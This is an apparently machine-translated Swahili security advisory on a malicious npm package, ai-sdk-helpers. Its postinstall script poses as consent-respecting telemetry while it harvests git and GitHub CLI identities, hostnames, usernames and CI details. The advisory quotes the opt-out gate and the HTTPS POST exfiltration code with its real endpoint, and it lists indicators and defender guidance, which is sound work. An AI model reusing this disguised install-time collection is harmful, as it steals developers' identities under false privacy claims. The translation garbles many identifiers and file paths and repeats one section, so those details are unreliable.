TL; DR
Kifurushi kimoja cha npm, wasaidizi wa ai-sdk, inajionyesha kama zana ya uzalishaji kwa ajili ya Vercel AI SDK, ikitoa ufuatiliaji wa gharama, marejesho ya watoa huduma, na wasaidizi wa utiririshaji.
Hati yake ya muda wa kusakinisha inafunguka kwa bango la ufichuzi lililong'arishwa linaloelezea uchunguzi usiojulikana, akiahidi kwamba hakuna msimbo chanzo, tokeni, au sifa zinazotumwa, akiheshimu DO_NOT_TRACK kujiondoa, na kuunganisha kwenye ukurasa wa sera ya telemetry.
Hati hiyo hiyo kisha inasoma utambulisho wa git wa msanidi programu, usanidi wa GitHub CLI, jina la mwenyeji wa mashine, jina la mtumiaji la OS, saraka ya kazi, na mtoa huduma wa CI.
Data hiyo hutumwa kama JSON kwenye sehemu ya mwisho ya Google Cloud Run, na hivyo kusababisha tofauti kati ya sera ya telemetri iliyotajwa na sehemu halisi zilizokusanywa.
Kifurushi kilichapishwa katika matoleo ishirini na mbili ndani ya mlipuko mmoja wa sekunde 83, na hati ya kusakinisha ni sawa kwa baiti katika kila toleo lililotiwa alama.
Matoleo saba kati ya nane yaliyopitiwa na pipeline zilipatikana bila kuhitimisha na kiainishaji cha ML kwa sababu mtindo wa bendera ya ridhaa unasomeka kama telemetri halali.
Tunaainisha ai-sdk-helpers kama hasidi kulingana na ukusanyaji na uchujaji wa utambulisho wa msanidi programu wakati wa kusakinisha.
Ukali: juu.
Anatomia ya usakinishaji
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } baada ya kusakinisha huendesha kiotomatiki npm kufunga, kabla ya msimbo wowote uliotangazwa wa kifurushi kuingizwa. Hati hati/baada ya kusakinisha.js ndipo tabia yote ya wakati wa usakinishaji inapoishi.
Inaanza kwa kizuizi cha maoni na notisi ya wakati wa utekelezaji iliyoandikwa katika rejista ya mradi wa chanzo huria unaozingatia faragha:
>Unaposakinisha ai-sdk-helpers, tunafanya ukaguzi wa haraka wa utangamano wa mazingira na kuripoti utambuzi usiojulikana… Data haina jina kabisa — tunakusanya mfumo wako, toleo la Node, na hash ya njia moja ya kitambulisho cha mashine yako. Hakuna msimbo chanzo, tokeni, au sifa zinazowahi kusambazwa.
Hata huunganisha lango la kujiondoa linalofanya kazi, msimbo wa kwanza unaoweza kutekelezwa katika faili:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Kufunga lango hili kwanza ndiko kunakofanya mengine kusomeke kama makubaliano: msanidi programu anayeweka `D_SI_KUFUATILIA` Huona usakinishaji ukikamilika kimya kimya na kuhitimisha kifurushi kinaheshimu mkataba. Chaguo la kutokufanya kazi lililoheshimiwa ni halisi. Kinachowazuia, kwa kila mtu ambaye hajaliweka, ni mkusanyiko ulioelezwa hapa chini — si "jukwaa, toleo la Node, na hash ya njia moja" iliyotajwa kwenye notisi.
Chini ya lango hilo, hati hukusanya mzigo unaozidi maelezo hayo.
- *Gutambulisho.* rkutatuaScmUtambulisho()` vichwa `~.gitconfig`,`~.config/git/config`,na mradi wa sasa.it/config`,huchambua `[ser]` sehemu, na hurejesha mipangilio iliyosanidiwa commit barua pepe. Ikiwa hakuna faili ya usanidi inayotoa barua pepe, inarudi kwenye `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,na 'EAIL` Vigezo vya mazingira. Mfuatano wa hati juu ya chaguo-msingi huweka fremu ya usomaji kama njia ya "kusambaza usakinishaji kwenye mashine zinazomilikiwa na mtu yule yule (km kompyuta ya mkononi + CI)" — kusudi lililotajwa linalohitaji kitambulisho thabiti cha kila msanidi programu, ambacho commit vifaa vya barua pepe.
- *Gakaunti ya tHub.* rsolveGitHubIdentity()` vichwa `~.config/gh/hosts.yml` na `~.config/gh/hosts.yaml` faili ya usanidi iliyoandikwa na GitHub CLI wakati msanidi programu anathibitisha - na regex-hutoa `uer:` na `eail:` mashamba. Faili hiyo pia huhifadhi tokeni ya GitHub OAuth; regex ya hati hulenga jina la mtumiaji na mistari ya barua pepe haswa na haitoi tokeni. Kwa hivyo, dai la bango la ufichuzi la "hakuna tokeni ... zinazowahi kusambazwa" ni kweli kwa sehemu hiyo moja huku vitambulisho vya akaunti vinavyozunguka vikisomwa na kutumwa.
- *Halama za vidole za st na CI.* hati kisha hukusanya 'o.jina la mwenyeji()`,`o.userInfo().jina la mtumiaji`,Toleo la Node, jukwaa na usanifu, `pocess.cwd()`,na lebo ya mtoa huduma wa CI iliyotatuliwa kwa kuangalia vigezo vya mazingira kwa watoa huduma wanane (Vitendo vya GitHub, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, na bendera mbili za generic-CI). Orodha ya mtoa huduma inasomeka kama orodha ya mahali ambapo hati inatarajia kutekeleza — maganda shirikishi na ujenzi otomatiki. pipelines sawa.
Yote haya yamepangwa katika kundi moja la 'd'wasiojua Mungu bject, huku sehemu za kila msanidi programu zikikusanywa chini ya `ichombo ey na data ya mwenyeji chini ya `rwakati` na `cmaandishi eys, kisha husawazishwa na kusambazwa:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Jibu lake linatupwa na makosa yote yanamezwa — maoni yanabainisha kuwa "telemetry haipaswi kamwe kuvunja usakinishaji." Jina la mwenyeji la sehemu ya mwisho husimba huduma ya Google Cloud Run katika `ekamba-magharibi1` kabila.
Pengo ni hadithi. Bango linataja kategoria tatu za data — mfumo, toleo la Node, hash ya kitambulisho cha mashine. Mzigo hutuma git halisi ya msanidi programu commit barua pepe, jina la mtumiaji na barua pepe ya GitHub, jina la mwenyeji wa mashine na jina la akaunti ya mfumo wa uendeshaji, njia yao ya mradi, na mazingira yao ya CI. Sehemu zinazotambua *prson na akaunti zao* ni sehemu ambazo ufichuzi hauzijumuishi.
README inaimarisha uundaji kutoka upande mwingine. Sehemu yake ya "Telemetry" inarudia dai la kutokujulikana na inaunganisha neno `D_SI_KUFUATILIA` o `cnsoledonotrack.com`,ukurasa halisi wa jumuiya unaoandika kuhusu makubaliano ya kujiondoa — kukopa faragha inayotambulika standard ili notisi isomwe kama kawaida.
Timeline
Huu ni ugunduzi wa kifurushi kimoja chenye historia fupi sana na yenye uchapishaji mzito. Hakuna safu ya kampeni ya wiki nyingi ya kufuatilia — safu nzima ya matoleo ilisukumwa kwa kasi ya mashine.
| Lini (UTC) | tukio |
|---|---|
| 2026-06-03 20:31:20 | Toleo la kwanza (0.1.0) imechapishwa hadi npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Matoleo yote 22 (0.1.0 kwa njia ya 1.4.2) iliyochapishwa katika mlipuko otomatiki wa sekunde 83. |
| 2026-06-04 | Matoleo manane yametiwa alama na ishara za kugundua; uchambuzi wa mwongozo unathibitisha ukusanyaji na uchujaji wa utambulisho wa wakati wa usakinishaji. Kifurushi kiliendelea kuwa hai hadi saa 12 jioni wakati wa uchambuzi. |
Dirisha la sekunde 83 katika matoleo 22 ya kisemantiki lenyewe ni kiashiria cha kitabia: ngazi ya toleo (`01.0`,`01.1`,... `14.2`)inawasilisha uso wa mradi unaodumishwa kikamilifu pamoja na historia ya kutolewa, iliyotengenezwa kwa mwendelezo mmoja wa hati. Hati ya kusakinisha haibadiliki katika ngazi hiyo — tazama hapa chini.
Viashiria vya maelewano
Muda wa kupakia wa muda wa kusakinisha ni sawa katika safu ya matoleo yaliyochapishwa.ff` f `sripts/postinstall.js` kati ya toleo `02.1` toleo la `14.2` haileti tofauti yoyote; tabia hiyo ni alama moja ya kidole isiyobadilika, si mzigo unaobadilika.
Mtandao
Dirisha la sekunde 83 katika matoleo 22 ya kisemantiki lenyewe ni kiashiria cha kitabia: ngazi ya toleo (`01.0`,`01.1`,... `14.2`)inawasilisha uso wa mradi unaodumishwa kikamilifu pamoja na historia ya kutolewa, iliyotengenezwa kwa mwendelezo mmoja wa hati. Hati ya kusakinisha haibadiliki katika ngazi hiyo — tazama hapa chini.
Viashiria vya maelewano
Muda wa kupakia wa muda wa kusakinisha ni sawa katika safu ya matoleo yaliyochapishwa.ff` f `sripts/postinstall.js` kati ya toleo `02.1` toleo la `14.2` haileti tofauti yoyote; tabia hiyo ni alama moja ya kidole isiyobadilika, si mzigo unaobadilika.
Mtandao
| Kiashiria | Wajibu |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Sehemu ya mwisho ya uchujaji inapokea maombi ya HTTPS POST yenye upakiaji wa JSON. Imepangishwa kwenye Google Cloud Run katika europe-west1 Kanda. |
Miundombinu ya Decoy
| Kiashiria | Wajibu |
|---|---|
ai-sdk.guide | Pakia ukurasa wa nyumbani na tovuti ya moja kwa moja inayounga mkono utambulisho wa mwandishi wa "Mwongozo wa AI SDK". |
ai-sdk.guide/telemetry | URL ya sera ya telemetry imerejelewa katika notisi ya ufichuzi wa wakati wa kusakinisha. |
hello@ai-sdk.guide | Barua pepe ya mwandishi imetangazwa katika package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Hifadhi chanzo iliyotangazwa na kifurushi. |
Faili zilisomwa wakati wa kusakinisha
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`
Saini za kitabia
- – m `pstinstall` ook ikitaja hati ya Node iliyounganishwa
- - lango la kujiondoa (`A_SDK_HELPERS_TELEMETRY_IMEZIMWA`,`D_SI_KUFUATILIA`)imewasilishwa kama kipengele cha faragha, kabla ya ukusanyaji wa utambulisho
- - tbound HTTPS POST ya kitu cha JSON kilicho na barua pepe ya git, utambulisho wa GitHub, jina la mwenyeji, jina la mtumiaji la OS, cwd, na lebo ya CI
- - hati ya usakinishaji inayofanana katika ngazi ya toleo linalochapishwa haraka
Tabia ya Sifa na Uangalizi
Hatuhusishi chochote zaidi ya kile ambacho kifurushi na rekodi ya metadata ya usajili huhifadhi.
Mtunza kumbukumbu wa npm ni akaunti `aielsimon`,yenye anwani `aiel@vigilance.security`.Usajili unaorodhesha barua pepe hiyo kama haijathibitishwa na utambulisho wa udhibiti chanzo wa akaunti kama haujathibitishwa.ckage.json`,kando, inamwakilisha mwandishi kama "Mwongozo wa AI SDK"ello@ai-sdk.guide>`”na ukurasa wa nyumbani wa `a-sdk.guide` na hazina chanzo chini ya `gshirika la thub.com/ai-sdk-guide`. Kikoa cha barua pepe cha akaunti ya uchapishaji (`vigilance.security`)na utambulisho wa mwandishi aliye ndani ya kifurushi (`a-sdk.guide`)ni vikoa tofauti.
'a-sdk.guide` ite iko hai na inajibu, na `/elemetri ath hutatua — utambulisho wa udanganyifu unaungwa mkono na uwepo wa wavuti unaoweza kufikiwa badala ya kiungo kisicho na uhai, ambacho huongeza uaminifu wa fremu ya kifurushi.
**Uwezo uliozingatiwa.** Wakati wa usakinishaji, kifurushi husoma utambulisho wa msanidi programu na faili za usanidi wa akaunti, huonyesha alama za vidole kwenye mazingira ya seva mwenyeji na CI, na hutuma matokeo hadi kwenye sehemu ya mwisho inayodhibitiwa na mwendeshaji, huku ikionyesha arifa inayoelezea seti finyu ya data isiyojulikana. Tunaelezea tabia hii; hatusemi nia yake. Wasomaji wanaotathmini kifurushi — ikiwa ni pamoja na mhusika yeyote anayetambua utambulisho wa uchapishaji — wanapaswa kupima tofauti inayoonekana kati ya mtiririko wa data uliotajwa na halisi.
Athari, mitindo, na mwongozo kwa watetezi
Nani amefichuliwa. Mtu yeyote anayesakinisha wasaidizi wa ai-sdk — moja kwa moja au kama utegemezi wa mpito — huendesha mkusanyiko kwenye mashine hiyo. Kwa sababu kichocheo ni baada ya kusakinisha, msimbo wa maktaba uliotangazwa hauhitaji kuingizwa kamwe ili mtiririko wa data utokee; usakinishaji pekee unatosha. Mazingira yenye thamani kubwa zaidi ni vituo vya kazi vya wasanidi programu vyenye utambulisho wa git uliosanidiwa na GitHub CLI iliyothibitishwa, na viendeshaji vya CI, ambapo ugunduzi wa mtoa huduma wa CI wa hati unaonyesha kuwa mkusanyiko unatarajiwa kuendeshwa ndani ya jengo. pipelinena pia kwenye kompyuta mpakato.
Kinachofichua. Sio siri za matumizi katika hali ya jumla — mzigo wa malipo huwekwa kwenye utambulisho: ya msanidi programu commit barua pepe, jina la akaunti yao ya GitHub na barua pepe, majina ya mashine na akaunti, na njia ya mradi. Hiyo ni kablacisramani ya nani aliyesakinisha kifurushi, kwenye mashine gani, katika hazina gani, na chini ya mfumo gani wa CI. Kwa shirika, rekodi chache kama hizo zilizokusanywa pamoja zingeorodhesha ni wahandisi gani na ni mifumo gani ya ujenzi iliyovuta utegemezi - muhimu kama kitangulizi cha shughuli inayolengwa zaidi ya ufuatiliaji, ingawa tabia ya kifurushi hiki huishia kwenye ukusanyaji na uwasilishaji.
Mwelekeo: telemetri kama kifuniko. Zana halali za wasanidi programu hukusanya utambuzi wa usakinishaji usio na majina, na kanuni za kufanya hivyo kwa heshima — notisi ya ufichuzi, a USIFIKIRIE heshima, bendera ya kujiondoa, URL ya sera — zinajulikana sana. wasaidizi wa ai-sdk Huiga tena mikataba yote minne kwa uaminifu na kuitumia kama kifuniko cha ukusanyaji wa utambulisho. Uwepo wa bango la ridhaa, chaguo la kujiondoa linalofanya kazi, au kiungo cha sera ya faragha si ushahidi kwamba kifurushi kinaaminika; vidhibiti hivyo ni vya bei nafuu kuiga. Ukaguzi pekee wa kuaminika ni kile ambacho msimbo unasoma na mahali unapoutuma.
Kifungashio hiki pia kina athari inayoweza kupimika kwenye triage otomatiki. Katika matoleo yetu yote pipeline Imepitiwa, maoni ya lugha rahisi ya hati ya usakinishaji, majina ya sehemu zilizopangwa, na lango la kawaida la kujiondoa lilipata alama kama telemetri ya kawaida: saba kati ya wanane walirudi inconclusive kutoka kwa kiainishaji cha ML badala ya kuwa kibaya. Ishara inayosuluhisha utata haiko kwenye nathari — iko kwenye faili maalum ambazo hati hufungua (~/.gitconfig, ~/.config/gh/hosts.yml) na mahali inapopelekwa. Mhakiki, awe otomatiki au mwanadamu, anayesoma ufichuzi na kusimama hapo atafikia hitimisho lisilo sahihi; uamuzi lazima utoke kwenye ukweli wa mtiririko wa data.
Mwongozo kwa watetezi:
- Sakinisha na hati zimezimwa kwa chaguo-msingi — usakinishaji wa npm -puuza-hati, au seti hati za kupuuza = kweli in .npmrc na utekeleze hatua za ujenzi zilizopimwa waziwazi. Hii huondoa mabadiliko baada ya kusakinisha-mkusanyiko uliosababishwa kote.
- Usichukulie vidhibiti vya kujiondoa kama ishara za uaminifu. USIFIKIRIE hundi au kiungo cha "sera ya telemetry" hakikuelezi chochote kuhusu data ambayo hati hukusanya wakati lango halijawekwa.
- Soma ndoano ya usakinishaji kabla ya kutumia vifurushi vya usaidizi wa AI-ecosystem. Nafasi ya Vercel AI SDK ni shabaha inayosonga kwa kasi na inayoaminika sana; baada ya kusakinisha kinachogusa ~/.gitconfig or ~/.config/gh/ ni ishara iliyo wazi bila kujali jinsi maoni yanayozunguka yanavyoandikwa.
- Fuatilia mkondo wa muda wa ujenzi. POST ya HTTPS inayotoka wakati wa npm kufunga, hasa kwa sehemu ya mwisho ya utendaji kazi wa wingu iliyopangwa hivi karibuni, inaonekana kwenye safu ya mtandao na ni sehemu imara ya kugundua mazingira ya CI.
- Tazama ngazi za toleo zilizobanwa. Kifurushi ambacho historia yake yote ya kisemantiki-toleo inaonekana ndani ya sekunde chache, kikiwa na hati ya usakinishaji isiyobadilika, kinawasilisha historia ya matengenezo yaliyotengenezwa.





